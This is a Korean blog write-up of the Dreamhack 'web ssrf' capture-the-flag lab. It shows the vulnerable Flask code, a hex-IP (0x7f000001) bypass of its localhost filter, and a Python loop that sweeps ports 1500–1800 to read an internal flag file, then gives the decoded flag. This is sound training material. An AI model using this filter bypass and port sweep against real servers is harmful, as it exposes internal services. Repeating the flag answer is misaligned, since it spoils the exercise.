[Dreamhack] web ssrf - Write up
2021. 8. 23. 09:24ㆍ카테고리 없음
문제
분석
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
필터링 하는 부분이 있는 것 같으므로, 살펴보면
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
입력만 문자열 안에 "localhost" , "127.0.0.1" 이 있다면 error.png을 반환해 줍니다.
in 으로 확인 하기 때문에 locallocalhosthost 처럼은 안되고..
127.0.0.1의 hex값을 넣어서 풀어보겠습니다.
또 따른 방법으로는 0.0.0.0을 이용하는 것도 될것 같습니다.
그럼 저는 hex로 풀어보겠습니다.
https://0x7f000001:+port+/flag.txt
PORT
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
PORT 번호는 1500~1800 사이에 무작위로 있습니다. 이를 찾기 위해서
포트 스캔...... 은 불법이고, 손으로 노가다는 너무 비효율 적이므로 범위 대입을 하겠습니다. (포트 스캔을 써도 찾을 수 있나..?)
import requests
url= "http://host1.dreamhack.games:9408/img_viewer"
for i in range(1500,1801):
response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/flag.txt'})
data = response.text
print('http://0x7f000001:'+str(i)+'/flag.txt')
계속 대입 하다 보면..
1646번 포트인 것을 확인 할 수 있습니다.
base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 이 flag인 것 같습니다.
사이트에서도 한번 시도해 보면.
Base64 Decode and Encode - Online
정답
DH{43dd2189056475a7f3bd11456a17ad71}